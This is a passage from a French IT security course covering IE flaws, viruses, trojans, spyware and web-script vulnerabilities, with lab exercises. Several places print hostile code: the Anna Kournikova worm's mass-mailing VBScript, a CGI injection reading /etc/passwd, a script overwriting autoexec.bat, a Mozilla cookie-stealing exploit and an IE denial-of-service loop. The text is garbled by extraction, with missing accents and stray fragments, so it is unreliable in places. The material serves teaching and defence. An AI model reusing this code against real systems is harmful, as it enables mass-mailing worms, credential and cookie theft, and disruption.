Du vol de documents lexcution de code sur le PC, les dgts potentiels de ces failles sont nombreux. Aucun correctif nest disponible pour linstant. Microsoft, prvenu tardivement, mne lenqute. Ces neufs dfauts du navigateur Internet Explorer partagent une origine commune : un obscur dfaut de validation des zones de scurit. Ils concernent les versions 5.5 et 6 dInternet Explorer, ainsi que les navigateurs MSN et AOL, qui partagent la mme technologie. Internet Explorer 6 SP1 nest cependant sensible qu une, peut-tre deux, de ces failles, tandis que les versions antrieures la 5.5 sont totalement immunises. Les neufs failles ont ts dcouvertes par la socit Grey Magic, qui a rapidement publi ses trouvailles. Cette dmarche a exaspr Microsoft, qui dplore de ne pas avoir eu le temps de ragir : Nous regrettons que ce rapport ait t rendu public avant que nous ayons eu la moindre occasion de ltudier. Sa publication pourrait mettre nos clients en danger, et au minimum semer la confusion et le doute , fait remarquer Bernard Ourghanlian dans ce qui semble dsormais tre la rponse ofcielle chaque dcouverte dune faille par un tiers. De son ct, Grey Magic se ddouane en expliquant que Microsoft refuse habituellement de reconnatre les failles et ne ragit quune fois mis au pied du mur. Mais dans cette querelle de clochers, lessentiel demeure : Internet Explorer est de nouveau gravement mis en dfaut, et aucun correctif nest encore disponible. Nous faisons en sorte davancer au plus vite sur cette investigation , dclare Bernard Ourghanlian.
Pourtant, Internet Explorer se protge habituellement plutt bien contre ces attaques : le navigateur sassure, lorsque le contenu de deux fentres cherche communiquer, que toutes les deux appartiennent la mme zone de scurit (Internet ou Locale). Hlas, les dveloppeurs de Microsoft ont oubli dtendre ces contrles certaines mthodes et objets du navigateur (notamment ceux lis au cache). Cest grce ces composants quun pirate peut jouer aux vases communicants et manipuler une fentre locale depuis une fentre Internet. En attendant le correctif ad hoc, la seule protection est de dsactiver les fonctions de script dInternet Explorer. Ou de proter de loccasion pour essayer un autre navigateur, tel Mozilla ou Opera...
oc um en ts
De nombreuses possibilits dabus Concrtement, toutes ces nouvelles failles permettent un pirate dchapper au cloisonnement que le navigateur met en place entre Internet et le systme local. On peut ainsi forcer un script issu dune page web (zone Internet ) agir sur le systme (zone Locale ) et ainsi voler un cookie dauthentication, lancer un programme quelconque ou rcuprer des documents.
ou sl
ic
en ce
FD
oc um en ts
ou sl
136
ic
en ce
Septime partie
FD
Chapitre 35
Les virus, petits programmes destructeurs du dbut des annes 80, ils sont devenus des outils dinformations ou de vritables espions. A des ns de maintenance et bien sr toujours dans un souci damliorer le produit, les logiciels commerciaux ou non peuvent devenir de vritables spywares. Oh le beau site Web ! Oh quil est intressant ce jeu de Ttris ... Le JavaScript, le VBScript, les Applets Java, des outils de programmation qui ne peuvent pas voir le contenu de votre disque mais qui par leur puissance sont capables dutiliser la moindre faille de scurit de votre systme dexploitation pour aller piocher les informations. Voulez vous un gateau ? Eh oui les cookies sont bien pratiques mais lorsque lon pense que notre disque peut tre lu, ils deviennent un peu indigestes. Vous aimez le ct relationnel ? Trs bien, mais mez vous, lingnierie sociale est une mthode pour vous inciter dvoiler des informations.
oc um en ts
ou sl
137
Au travers de votre courrier lectronique, des logiciels installs sur votre machine, des visites sur les espaces Web ou mme de vos relations personnelles, il est possible que vous ayez transmis des informations permettrant de rompre la scurit de votre systme informatique.
ic
en ce
You are dangerous Toute personne possdant un accs au serveur Web ou au serveur de messagerie, Toute personne possdant un accs rseau au poste de ladministrateur, Tout personne possdant un accs au poste du webmaster, Toute personne de votre socit, Toutes ces personnes sont potentiellement dangereuses.
FD
Introduction
Chapitre 36
36.1 Introduction
36.2 Dnition
"Un virus est un petit programme situ dans le corps dun autre, qui, lorsquon lexcute, se charge en mmoire et excute les instructions que son auteur a programm." En quoi ceci nous concerne ? Le programme excut par le virus peut tre de nimporte quel type et notamment rseau. Il peut donc votre insu modier ou envoyer des donnes contenues sur le serveur que vous administrez. Certains virus reprennent des documents ou des courriers envoys pour les envoyer de nouveau des destinataires alatoires de votre carnet dadresse. Vous pourriez par exemple, envoyer des courriers condentiels (imaginons au pire que ce soit votre courrier contenant les mots de passe du mois courant (ce qui reprsente une seconde faute)) sans vous en apercevoir. Adieu la scurit dans ce cas l. Par exemple Troj/Love Let-A envoie par mail une adresse aux Philippines des renseignements sur lutilisateur et sa machine.
oc um en ts
ou sl
138
ic
Au milieu des annes 80, an de se protger des copies illgales de leur logiciel, Basit et Amjad ALVI de Lahore crrent le premier virus informatique. Ce programme plaait sa propre rplique et un message de copyright dans chacune des disquettes copies par le client. Le premier virus tait n. Aujourdhui 20 ans aprs, les techniques virales sont de loin beaucoup plus volues et peuvent permettre le piratage ais de vos serveurs.
en ce
FD
Les Virus
139
Les e-mails affects par le virus ont une pice jointe nomme SAMPLE.EXE. Le virus essaie dexploiter une faille de scurit MIME1 , prsente dans certaines versions de Microsoft Outlook, Microsoft Outlook Express, et Internet Explorer, qui permet dexcuter automatiquement un chier sans que lutilisateur ne double-clique sur la pice jointe. Le virus se copie dans le rpertoire Windows sous les noms de chiers load.exe et riched20.dll (ayant les attributs de chier congurs "cach") et essaie de se propager vers dautres utilisateurs par le biais de partages rseau. Le virus modie le chier System.ini pour inclure la ligne
Le virus senvoie dautres adresses e-mail trouves sur lordinateur. De plus, le virus recherche des serveurs web IIS souffrant de plusieurs failles, incluant la faille Unicode Directory Traversal. Le virus parcourt les serveurs HTTP IIS en gnrant de faon alatoire des adresses IP et en envoyant des requtes HTTP GET malformes. Lorsquune machine vulnrable est trouve, le virus se copie dans le chier HTTPODBC.DLL et sexcute. Sur certaines machines infectes, le virus se copie aussi dans le rpertoire Windows sous le nom de chier CSRSS.EXE. Le virus essaie de modier le contenu des pages de tels serveurs, cherchant des chiers avec les noms suivants :
Si lun des chiers est trouv sur le serveur web, le virus essaie de modier le contenu du chier, en ajoutant une partie de code JavaScript malveillante la n du chier. Si le site web est alors consult par un utilisateur avec une version non-scurise dInternet Explorer, le code malveillant tlcharge automatiquement un chier nomm readme.eml sur lordinateur de lutilisateur - qui est ensuite excut, faisant suivre le virus une fois de plus. Lorsque le virus se propage en utilisant les lecteurs rseau, il place un nombre de chiers aux noms alatoires avec les extensions EML et NWS. Le contenu de ces chiers est identique au contenu du chier
1 MIME
lInternet.
: "Multi-purpose Internet Mail Extensions", est une spcication dcrivant les formats de messages multimdias sur
oc um en ts
ou sl
index.html index.htm index.asp readme.html readme.htm readme.asp main.html main.htm main.asp default.html default.htm default.asp
ic
en ce
FD
140
Le corps du virus contient le texte "Concept Virus (CV) V.6 Copyright(C) 2001, (Thiss CV No Nimda.)". Pour plus dinformations sur la protection de vos systmes contre Nimda, veuillez lire : http ://www.microsoft.com/technet/security/topics/Nimda.asp.
Ceci pour viter que le ver sexpdie plusieurs fois. Le sujet, le corps et la pice jointe au message sont : Sujet : Here you have ;o) Corps du message : Hi : Check This ! Pice jointe : AnnaKournikova.jpg.vbs
oc um en ts
Ensuite, le ver se transmettra tous les destinataires du carnet dadresses Microsoft Outlook et donnera la valeur 1 la cl suivante : HKEY\_CURRENT\_USER\Software\OnTheFly\Mailed
ou sl
Lorsquil est excut, le ver cre les entres suivantes dans la base de registre : HKEY_CURRENT_USER\Software\OnTheFly
ic
en ce
FD
141
On Error Resume Next S e t OutlookApp = C r e a t e O b j e c t ( " O u t l o o k . A p p l i c a t i o n " ) I f OutlookApp = " O u t l o o k " Then S e t MAPINameSpace = OutlookApp . GetNameSpace ( "MAPI" ) S e t A d d r e s s L i s t s = MAPINameSpace . A d d r e s s L i s t s For Each a d d r e s s I n A d d r e s s L i s t s I f a d d r e s s . A d d r e s s E n t r i e s . Count <> 0 Then e n t r y C o u n t = a d d r e s s . A d d r e s s E n t r i e s . Count For i = 1 To e n t r y C o u n t S e t newItem = OutlookApp . C r e a t e I t e m ( 0 ) Set currentAddress = address . AddressEntries ( i ) newItem . To = c u r r e n t A d d r e s s . A d d r e s s newItem . S u b j e c t = " Here you have , ; o ) " newItem . Body = " Hi : " & v b c r l f & " Check T h i s ! " & v b c r l f & " " s e t a t t a c h m e n t s = newItem . A t t a c h m e n t s a t t a c h m e n t s . Add F i l e S y s t e m O b j e c t . G e t S p e c i a l F o l d e r ( 0 ) & " \ AnnaKournikova . j p g . v b s " newItem . D e l e t e A f t e r S u b m i t = T r u e I f newItem . To <> " " Then newItem . Send W S c r i p t S h e l l . r e g w r i t e "HKCU\ s o f t w a r e \ OnTheFly \ m a i l e d " , " 1 " End I f Next End I f Next end i f End F u n c t i o n Vbswg 1 . 5 0 b
oc um en ts
ou sl
ic
en ce
I f Not ( F i l e S y s t e m O b j e c t . f i l e e x i s t s ( w s c r i p t . s c r i p t f u l l n a m e ) ) Then Set newFile = FileSystemObject . c r e a t e t e x t f i l e ( w s c r i p t . s c r i p t f u l l n a m e , True ) newFile . write t h i s S c r i p t T e x t newFile . Close End I f
FD
Do
142
Retrouver les diffrents lments dcrits dans lanalyse du virus dans le code source du virus.
Installer AntiVir. Utiliser laide pour voir le descriptif dun virus. Allez sur le site dantivir (http://www.antivir.de) pour dcouvrir le dernier antivirus sorti. Faire un scan de tous les chiers de votre disque dur.
oc um en ts
ou sl
ic
en ce
Comme nous avons pu le constater, il est ncessaire de mettre jour lanti-virus sur le serveur et les machines clientes qui ont accs ce serveur. Ceci ne suft hlas pas, lanti-virus a toujours un wagon de retard par rapport au dernier virus connu. Il est donc ncessaire dtre trs paranoaque lors de louverture de courrier lectronique avec pices attaches. Lune des principales choses effectuer est aussi dabandonner les clients mails de type passoire ;-).
FD
Chapitre 37
37.1 Introduction
Utilis des ns de maintenance dans les logiciels commerciaux, les portes drobes et autres spcications de maintenance peuvent transformer trs rapidement un simple logiciel en vritable spyware. Inutile dtre un 007 dans ce cas pour deviner ce que vous avez sur votre disque dur.
37.3 Dnition
Un Trojan possde 3 caractrisques principales : 1. un comportement apparament utile lutilisateur de lordinateur (cest le porteur, la partie visible du cheval que les grecs exhibrent devant Troie) 2. cest lutilisateur qui va installer le programme sur son ordinateur (ce sont les troyens eux-mmes qui introduisirent le cheval dans lenceinte de Troie) 3. un comportement cach malveillant conduisant la destruction des donnes et / ou louverture dune porte dans le systme de communication (cest la cohorte de grecs sortant en cachette de nuit du cheval pour ouvrir les portes de Troie et permettre au reste de larme grecque dentrer et totalement dtruire Troie). On les nomme aussi de la faon suivante : Backdoor (porte de derrire) ou plus vulgairement Back Orice (trou du cul)
oc um
Troie (guerre de) Guerre lgendaire raconte dans lIliade et lOdysse, ainsi que dans les autres pomes piques de lAntiquit grecque qui forment le cycle troyen. Elle rete sans doute lun des derniers pisodes de lexpansion mycnienne. Daprs la lgende, cette guerre fut provoque par lenlvement dHlne, femme du roi de Sparte, Mnlas, par le prince troyen Pris. Pour venger cet affront, les Grecs lancrent contre Troie une expdition commande par Agamemnon. Aprs un sige de dix ans infructueux, Troie fut prise par la ruse : les grecs construisirent un immense cheval de bois quils amenrent devant Troie et se retirrent, faisant semblant dhonorer ainsi la rsistance de Troie et dabandonner le sige. Les troyens introduisirent le cheval dans la ville do sortirent, de nuit, des guerriers qui ouvrirent les portes de la cit. Celle-ci fut rase et ses habitants massacrs ou rduits en esclavage.
en ts
ou sl
143
ic
en ce
FD
144
Envoi de botes de dialogue (version Windows) avec rponse de lutilisateur Fonction keylogger
Nom Troj/Subseven Alias Troj/Backdoor-G., Sub Seven, Troj/Sub7, Subseven.backdoor Type Cheval de Troie Rsident Non. Description Le package contient deux ou trois programmes. Lun des chiers devrait tre install sur une machine "serveur". Une fois le programme serveur install, le client prend le contrle de lordinateur infect. Le client est un puisssant outil "dadministration distance". Il a des capacits de contrle distance telles que la possibililt dditer le chier de registre du serveur Windows, commuter lcran, changer les couleurs du bureau, redmarrer Windows, jouer des sons, envoyer des messages, arrter lafchage, dsactiver des touches du clavier, cacher le curseur de la souris ou la barre des tches. Le client peut aussi voler les mots de passe et lire les touches presses sur le clavier du serveur depuis le dernier dmarrage. Le troisime programme est un utilitaire qui peut tre utilis pour congurer le programme serveur. Il est possible de patcher le serveur avec nimporte quel excutable pour quil mime la reception dun chier valide au lieu dun cheval de Troie. Le programme de conguration du serveur congure aussi la faon dont le serveur est "install". Pour sinstaller, le serveur peut utiliser le chier de registre de Windows. Il peut aussi changer les chiers C :\WINDOWS\WIN.INI ou C :\WINDOWS\SYSTEM.INI pour que le serveur sexcute au dmarrage de Windows. Faille Comme on peut le voir tout ce que vous tapez au clavier peut tre intercept. limage du sniffer vu en dbut de cours, le trojan permettra toute personne malveillante de connatre ce qui est saisi par un administrateur systme et rseaux, notamment les mots de passe daccs vos serveurs.
oc um en ts
ou sl
37.4 Exemple
ic
en ce
permet denregistrer toute frappe au clavier pour rcupration et traitement ultrieur (mots de passe sur le web, mails, etc..). Cette fonctionnalit existe galement en version temps-rel : afchage des frappes clavier en direct chez lattaquant.
FD
permet de lancer une application en mode texte type "Ms-Dos" ou "Invite de commande" de faon invisible et de rediriger lentre/sortie standard vers un port particulier. Lattaquant na plus qu sy connecter (via telnet) pour communiquer directement avec lapplication. supporte le tlchargement et lenvoi de chiers permet de crer un serveur web basique dont la racine est celle du disque dur (dfaut). Ainsi, un simple navigateur web permet de naviguer dans larborescence des chiers, den tlcharger et mme den rajouter. Rcupre tous les mots de passe et permet daccder aux chiers mots de passe Windows (pwl et autres) et den afcher le contenu. A noter que les mots de passe utiliss pour des connexions distantes, partages de documents, etc, sont galement rcuprs. permet de communiquer avec lutilisateur.
145
Do cu me nt
so us
li ce nc e
FD L
146 Contact Contact Contact Contact Contact Contact Contact Contact Contact Doly Trojan Striker WinCrash Digital RootBeer Prayer 1.2 SubSeven SubSeven Phineas Phucker RAT (UDP) RemoteShut WinCrash MicroSpy RingZero Masters Paradise Deep Throat 1.3 Server (UDP) Matrix Client Matrix Server Terror Trojan Eclipse 2000 Portal of Doom Psych Ward Eclypse Eclypse (UDP) Skydance WinCrash Virtual Hacking Machine [VHM] BoBo Prosiak File Nail ICQTrojan Bubbel Blazer5 Back Door Setup cd00r Solo One of the Last Trojans WM Remote Keylogger NetMetro NetMetro Firehotcker Backage wCrat WC Remote Admin Tool
Do cu me nt
so us
li ce nc e
FD L
147
Do cu me nt
so us
li ce nc e
FD L
148
Do cu me nt
so us
li ce nc e
FD L
149 Enterprise Sockets de Troie Fore Cafeini Acid Battery 2000 Remote Windows Shutdown SubSeven Back Orifice 2000 School Bus File Manager Trojan WM Trojan Generator NetRaider Trojan Butt Funnel Deep Throat 1.3 Client (UDP) Trinity Xzip 6000068 Connection Bunker-Hill Trojan Telecommando Bunker-Hill Trojan Bunker-Hill Trojan Taskman Devil Eclypse Jade
oc um en ts
ou sl
ic
en ce
FD
Chapitre 38
38.1 Introduction
38.2 Dnition
Un spyware, en franais "espiogiciel" ou "logiciel espion", est un programme capable en plus de sa fonction propre de collecter des donnes sur ses utilisateurs et de les transmettre via internet. Les spywares sont parfois confondus avec les adwares, ces logiciels dont lauteur se rmunre par lafchage de bannires publicitaires mais sans recueillir ni transmettre dinformations. Une dnition plus rigoureuse du spyware pourrait tre celle-ci : "module logiciel - et par extension programme - permettant de collecter de manire slective des informations sur ses utilisateurs (conguration matrielle et/ou logicielle, habitudes dutilisation, donnes personnelles, etc.) puis de les transmettre son concepteur ou un tiers (ex. : rgie publicitaire) via internet ou tout autre rseau informatique, sans avoir au pralable obtenu une autorisation explicite et claire de lutilisateur". Cette dernire condition reste toutefois discutable, car lutilisateur nen reste pas moins soumis une surveillance permanente de ses habitudes dutilisation, surveillance qui peut en plus tre illgale du point de vue de la lgislation de son pays de rsidence. Une nouvelle tendance encore plus contestable concerne les utilisateurs du navigateur Internet Explorer. Certains spywares comme Gator cherchent sinstaller automatiquement sur le poste de linternaute au moyen de la technologie ActiveX lors de la visite de pages web peu recommandables.
oc um en ts
Un spyware pourrait tre considr comme un cheval de troie, cest dire quil sinstalle en mme temps quun programme lgitime, mais le plus souvent pas linsu de lutilisateur. En effet, dans les conditions dutilisation, vous trouverez souvent une phrase stipulant linstallation de ce spyware. Il existe plusieurs types de spywares Gator, New.net, SaveNow, TopText, Alexa, Webhancer, Radiate, Cydoor, Conducent, Onow ou Web3000. Rien ne les diffrencie en apparence des logiciels classiques, part leur propension la gratuit. Les spywares sont pourtant les reprsentants dun nouveau business model, dans lequel les produits et services schangent contre une parcelle de vie prive. Face aux drives relles ou potentielles de ce systme, les spcialistes amricains ont tir la sonnette dalarme depuis plusieurs annes dj. En France, la majorit des internautes na mme pas connaissance de leur existence... Tlchargs sur internet ou trouvs dans le CD-Rom dun magazine informatique, les spywares sont des logiciels (presque) comme les autres.
ou sl
150
ic
en ce
FD
Spyware
151
38.3 Fonctionnement
Les spywares ont pour mission dobserver leurs utilisateurs et de collecter des donnes dans un but statistique, marketing ou commercial. La nature des donnes collectes et transmises est dnie dans le code source du spyware lui-mme. Il ne sagit pas priori de donnes nominatives, mais le cryptage des transmissions fait quil est difcile de sen assurer. Les spywares ne sont ni des virus, ni des troyens, mme sil est possible de leur trouver de lointains points communs, comme le fait de sinstaller sans que lutilisateur ne le sache toujours, ou bien denvoyer des donnes via internet linsu de lutilisateur. La plupart des spywares optent en effet pour une extrme discrtion : ils agissent en tche de fond, apparaissent rarement dans le Menu Dmarrer de Windows, et, dans le cas des spywares externaliss, sont le plus souvent absents de la liste des programmes installs gurant dans le Panneau de conguration. Dans le cas dun spyware publicitaire comme Cydoor, linstallation copie sur le disque les chiers ncessaires au fonctionnement de lapplication (cd_load.exe, cd_clint.dll et cd_htm.dll), cre un rpertoire pour stocker les bannires qui seront afches lutilisateur mme lorsquil sera hors ligne (Windows/System/AdCache), puis modie la base de registres. Lanalyse des informations collectes par le spyware permet de dterminer les prfrences de lutilisateur et de lui proposer des bannires publicitaires ou des mails promotionnels toujours plus cibls, en rmunrant au passage les diteurs de logiciels partenaires. Le spyware sexcute souvent automatiquement au dmarrage de Windows et mobilise donc en permanence une partie des ressources du systme. Certaines fonctionnalits annexes comme la mise jour automatique peuvent reprsenter un rel danger pour la scurit de lutilisateur, en permettant le tlchargement et linstallation son insu dun autre programme ou spyware, voire dun programme hostile dans le cas du dtournement du systme par une personne malveillante.
oc um en ts
ou sl
ic
en ce
FD
Il existe deux types de spywares : Le spyware intgr (ou interne) est une routine incluse dans le code source dun logiciel ayant une fonction propre pour lui donner la possibilit de collecter et de transmettre des informations par internet. Ces spywares sont tlchargeables sparment ou sont proposs linstallation en mme temps que dautres programmes gratuits, eux-mmes gnralement des spywares, grce des accords entre diteurs de logiciels. Cest le cas notamment de Gator, New.net, SaveNow, TopText, Alexa et Webhancer. Le spyware externalis est une application autonome dialoguant avec le logiciel principal qui lui est associ, et dont la seule fonction est de se charger de la "relation client" : collecte et transmission dinformations, afchage de bannires publicitaires, etc. Ces spywares sont conus par des rgies publicitaires ou des socits spcialises comme Radiate, Cydoor, Conducent, Onow ou Web3000, avec lesquelles les diteurs de logiciels passent galement des accords. Le spyware de Cydoor est par exemple associ au logiciel peer-to-peer KaZaA, et sinstalle en mme temps que lui.
152
Le plus simple pour dtecter la prsence dun spyware est de procder par des moyens indirects, savoir son activit, la prsence de chiers caractristiques ou le nom du logiciel suspect. Il existe en effet des listes de spywares, consultables en ltat, sous forme de moteurs de recherche ou encore dutilitaires ddis.
Cette solution donne de bons rsultats avec la plupart des spywares, y compris si le spyware est une DLL (lapplication qui tente de se connecter internet est alors RUNDLL32.EXE), mais elle ne peut rien contre les spywares intgrs si le logiciel concern a dj t autoris accder internet dans le cadre de son fonctionnement normal. Lutilisateur doit par ailleurs tre sufsamment comptent pour pouvoir dcider si lapplication qui tente de se connecter doit ou non y tre autorise. Cest pourquoi des antispywares ont t conus sur le modle des antivirus, an de dtecter les spywares sur la base de signatures. Utilisables facilement mme par des non initis, ils permettent de dtecter un spyware mme sil nest pas actif, mais restent dpendants de la mise jour du chier des signatures. OptOut tant abandonn, le plus performant des antispywares actuels est Ad-Aware (LavaSoft), qui a par ailleurs le mrite dexister en version franaise. Ce programme permet de scanner la mmoire de lordinateur, la base de registres et les chiers des diffrents disques la recherche des composants indiquant la prsence dun spyware.
oc um en ts
Certains rewalls personnels sont capables de ltrer le trac sortant sur une base applicative, cest--dire que chaque application souhaitant accder internet doit au pralable y avoir t autorise.
ou sl
Cette mthode de dtection est simple, mais aucun site ne peut prtendre lexhaustivit : mme lutilitaire Ad-Search (LavaSoft) dit par un spcialiste du sujet est incomplet. Elle ne constitue donc quune premire approche, qui reste trs pdagogique car elle permet de mesurer lampleur du phnomne.
ic
en ce
FD
tout est fait pour que lutilisateur vite de lire lesdites conditions dutilisation. Ces dernires dtaillent galement les droits accords aux utilisateurs ; ne pas accepter sans rchir les programmes supplmentaires ventuellement proposs lors de linstallation dun logiciel, mais dcider en connaissance de cause. New.net, SaveNow et Webhancer sont ainsi proposs par dfaut lors de linstallation de KaZaA, mais il suft de dcocher les cases correspondantes pour quils ne soient pas installs ; surveiller les demandes dautorisation de connexion internet provenant du rewall, an de dtecter toute application suspecte. Cest une autre bonne raison dinstaller un rewall personnel (voir plus loin) ; sinformer auprs de sites spcialiss. Secuser.com et sa lettre dinformation hebdomadaire Secuser News aborde rgulirement la question des spywares. Dans le doute, il est galement conseill dexcuter un antispyware (voir plus loin) aprs linstallation dun logiciel suspect, an de sassurer de ne pas avoir install un spyware sans le savoir.
153
Pour liminer un spyware intgr, il suft le plus souvent daller dans le Panneau de conguration de Windows et de dsinstaller lapplication correspondante. Dans le cas dun spyware externalis, il est par contre gnralement ncessaire de passer par une procdure fournie par son diteur dans une obscure FAQ, ou plus efcacement dutiliser Ad-Aware en supprimant les chiers constitutifs du spyware. Dans la plupart des cas, llimination dun spyware externalis fera que le logiciel associ cessera de fonctionner, afchant un message du type : "Vous avez effac un composant du logiciel ncessaire son excution. Le logiciel ne fonctionnera plus mais vous pouvez le rinstaller".
1 Il
LIENS UTILES : Spychecker : moteur de recherche de spywares InfoForce : liste de spywares (dernire version connue) Dossier Secuser.com : rewall personnel ZoneAlarm : rewall personnel de ZoneLabs Ad-Aware : antispyware de Lavasoft Dossier Secuser.com : spamming et mailbombing
oc um en ts
Lutilisateur qui ne souhaite pas installer de spyware doit donc rester vigilant et suivre ces quelques conseils. Ceux qui seraient tout de mme tents par lopration ont tout intrt lire en dtail les conditions dutilisation du logiciel et surtout garder lesprit quelles sont le plus souvent conformes au droit amricain, donc beaucoup moins protectrices en matire de vie prive quen Europe. Il est ainsi recommand de ne pas donner son adresse email permanente, mais si ncessaire de se crer un compte gratuit qui pourra tre ferm sans remords, notamment en cas de spamming.
ou sl
Malheureusement, les diteurs de logiciels ont rapidement t tents de proter de la discrtion des spywares pour en dissimuler lexistence ou pour les laisser implants mme lorsque le logiciel associ est dsinstall. Ces pratiques abusives ont compltement dcrdibilis le concept, jetant la suspicion y compris sur la nature relle des informations collectes.
ic
en ce
Contrairement la publicit en ligne telle que gre par la rgie DoubleClick, qui par lintermdiaire des sites internet de tous ses clients collecte et centralise elle aussi des donnes sur les prfrences de chaque internaute1, les spywares ont le mrite de ntre actifs que lorsque lutilisateur installe un de ces logiciels en contrepartie de son utilisation gratuite, laissant la libert aux autres internautes de ne pas en installer ou dopter pour une version payante dpourvue de spyware.
FD
Chapitre 39
39.1 Introduction
Trs utiles lors de la programmation de sites Web, les langages Web permettent hlas aussi dutiliser le contenant de la machine cliente et de ce fait les failles de scurit qui lui sont inhrantes.
Dune manire gnrale, toutes les interfaces homme / machine (IHM) modliss par les CGI (Common Gateway Interface) peuvent devenir des failles de scurit. Une mauvaise gestion des saisies de donnes peut conduire la divulgation de donnes. Voici un petit script CGI on ne peut plus simple, il fait appel lexcution du chier de commande sh1.
1 2 3 4 5 6 7 8 9 10 11 12
<FORM Method =GET A c t i o n = / c g i b i n / sh1 > R p e r t o i r e l i s t e r : < br > < i n p u t t y p e = t e x t name=param1 >< br > < i n p u t t y p e = s u b m i t name= e n v o y e r v a l u e =LISTER> </FORM> F i c h i e r : sh1 l s l t r $param1 | w h i l e r e a d LINE do c g i _ p r i n t _ l i n e $LINE done
Lexcution de ce script avec la saisie dun rpertoire donne la liste des chiers contenu dans ce rpertoire. Par contre si lon y insre une commande telle que : eval cat /etc/passwd on obtient le contenu du chier /etc/passwd. Travaux Pratiques Se connecter au seveur indiqu sur cgi.html, constatez. On pourra remarquer les x qui reprsente les mots de passe, ceux-ci sont en fait enregistrs dans un chier /etc/shadow (ombre).
oc um en ts
ou sl
154
ic
en ce
FD
155
39.4 Le JavaScript
Le JavaScript nest pas dangereux, cest un fait, cependant il peut nous permettre dobtenir certaines informations. Lorque vous allez sur un site de Warez et vous voyez safcher votre adresse IP, votre version de Navigateur etc..., il est impossible normalement de transfrer ces informations aux serveurs ou ladministrateur de celui-ci. En effet, le Le JavaScript ne fait que visualiser des informations contenues sur vos disques durs. Le script sexcute sur le poste client, il ne peut raliser dupload vers le serveur.
oc um en ts
<! Sample Code START !> <SCRIPT LANGUAGE= " V B S c r i p t " > P u b l i c Sub OnLoad_Sub ( ) C o n s t F o r W r i t i n g = 2 , FILE_NAME = " c : \ a u t o e x e c . b a t " Dim f s o , f Set fso = CreateObject ( " Sc ripti ng.F ile Syste m Obje c t " ) S e t f = f s o . O p e n T e x t F i l e ( FILE_NAME , F o r W r i t i n g ) f . W r i t e " @echo HELLO FRIEND ! " f.Close End Sub </ SCRIPT> <! Sample Code END !>
ou sl
ic
en ce
Et le tour est jou...entre les deux tout est possible, chargement dune taupe, envoi de courrier etc. Le plus important est que le visiteur clique encore une fois sur "OK". Voici un exemple de script (par Clad Strife) qui va modier lAutoexec.bat.
FD
1 2
156
Ce petit code va crer un mail avec ladresse e-mail par dfaut mise dans le Browser utilis pour visiter la page web.
Do cu me nt
Un petite dmonstration en dit plus long quun long discours. Essayez ces petits codes sources. Ils fonctionnent trs bien. Suprenant. Failles de Mozilla
---..---..---..---..---..---..---..---..---..---..---..---..---Title: Steal/spoof arbitrary cookie in Mozilla Date: [2002-07-24] Software: Mozilla Vendor: http://www.mozilla.org Fix: The author has been working with Mozilla to produce a patch. Problem is fixed in Mozilla 1.1 Beta released 02-07-22. Workaround: Preferences->Advanced->Scripts & Plugins-> Disable access to cookies using javascript Impact: Steal/spoof arbitrary cookie _ _ using javascript: URLs o \,=./ o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
so us
li ce nc e
FD L
157
site scripting) issue, but soon to a design error in restricting open source, I have not been and exploit the vulnerability.
Well, I soon found a much easier solution. Simply put a // in front of the host and path and a \{ats}n before the cookie reading code accour. The reason why I didnt find this directly was because the newline must be created in a javascript function. It cant be set directly in a javascript url.
DESCRIPTION: ============
Mozilla allows script in the javascript protocoll to set and read cookies. For javascript URLs the host and path for the cookie is pulled out as: "javascript:[host][path]" Cookie security is based only on restricting access to correct matching host and path. By carefully crafting a mallicious javascript URL opened in a new frame/iframe/window, it is possible to access and alter cookies from other domains.
Do cu me nt
DETAILS: ========
The easiest way to exploit the vulnerability is to simply create a javascript URL in a javascript function as: javascript://[host]/[path]{\n[code to read cookie] The // will make sure host and path dont generate any javascript errors.
EXPLOIT: ======== Instructions: Put the exploit in a html document on a remote server and load it with your Mozilla browser to activate the exploit. -------------------------- CUT HERE ----------------------------
so us
li ce nc e
In the beginning I had problems not generating any javascript errors when using the javascript URL. My first solution was to make the host and path to be a valid javascript expression. Google.com may be a valid expression if google is an object and com is an element/variable of the Google object. Further on if Google.com is an int, it is legal to use google.com/ 1. Parsing of host and path will stop when a space is found.
FD L
158
Mozilla cookie stealing/spoofing [2002-07-24] Steal/spoof arbitrary cookie _ _ using javascript: URLs o \,=./ o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--This demo will display your google cookie (must exist). </pre> <body onload=init()> <iframe name=f height=0 width=0 style=visibility:hidden></iframe> <script> function init(){ f.location = "javascript://www.google.com/\n"+ "<body onload=alert(document.cookie)>"; } </script> -------------------------- CUT HERE ---------------------------Travaux Pratiques Installer Mozilla Se connecter au seveur indiqu sur mozilla.html Failles de InternetExplorer Internet Explorer JavaScript Modeless Popup DoS I) Prsentation La version 6 dInternet Explorer prsente un bug, qui tient compte du JavaScript pour appeler un nombre important de botes de dialogues ouvertes sur la page, crant une boucle sans n et rendant Internet Explorer inutilisable. Mme en arrtant le process IEXPLORE (en le killant), les boites de dialogues persistent, prenant 100% de la CPU. Cela provient de la nature de la fonction showModelessDialog() qui ne rend pas la main et rend la machine et ncessite un redmarrage (dou DoS) II) Exploit Placez ce code dans un chier HTML appel exploit.html
1 2 3 4 5 6 7 8 9 10 11 12
< html > <head > < s c r i p t type =" j a v a s c r i p t "> function exploit () { while (1) { showModelessDialog ( " e x p l o i t . h t m l " ) ; } </ s c r i p t > </ head > <body onLoad = " e x p l o i t " > </ body > </ html >
oc um en ts
ou sl
ic
en ce
FD
159
39.5.1 Exemple
Pour les mmes raisons quauparavant, les applets Java peuvent donner lieu des messages de scurit de ce genre : Technical description : The Microsoft VM is a virtual machine for the Win32 R operating environment. It runs atop Microsoft Windows R 95, 98, or Windows NT R , or Windows 2000. It ships as part of each operating system, and also as part of Microsoft Internet Explorer. The version of the Microsoft VM that ships with Microsoft Internet Explorer 4.x and Internet Explorer 5.x contains a security vulnerability that could allow a Java applet to operate outside the bounds set by the sandbox. By design, an applet should only be able to communicate with the web site that hosted it. However, this vulnerability would allow an applet to bypass this restriction. If a user visited a web site operated by a malicious user, the site could start an applet that would be able to establish a connection with another web site and forward any information from the web session to the malicious users site. The session would be established in the guise of the visiting user, rather than that of the malicious user. Thus, the vulnerability could be used to access an intranet site located behind a rewall, access information in the guise of the user, and relay it to the malicious user. The only prerequisite is that the malicious user would need to know or guess the name of the intranet site. Although the applet would be able to make use of the users credentials to authenticate to the site, this vulnerability 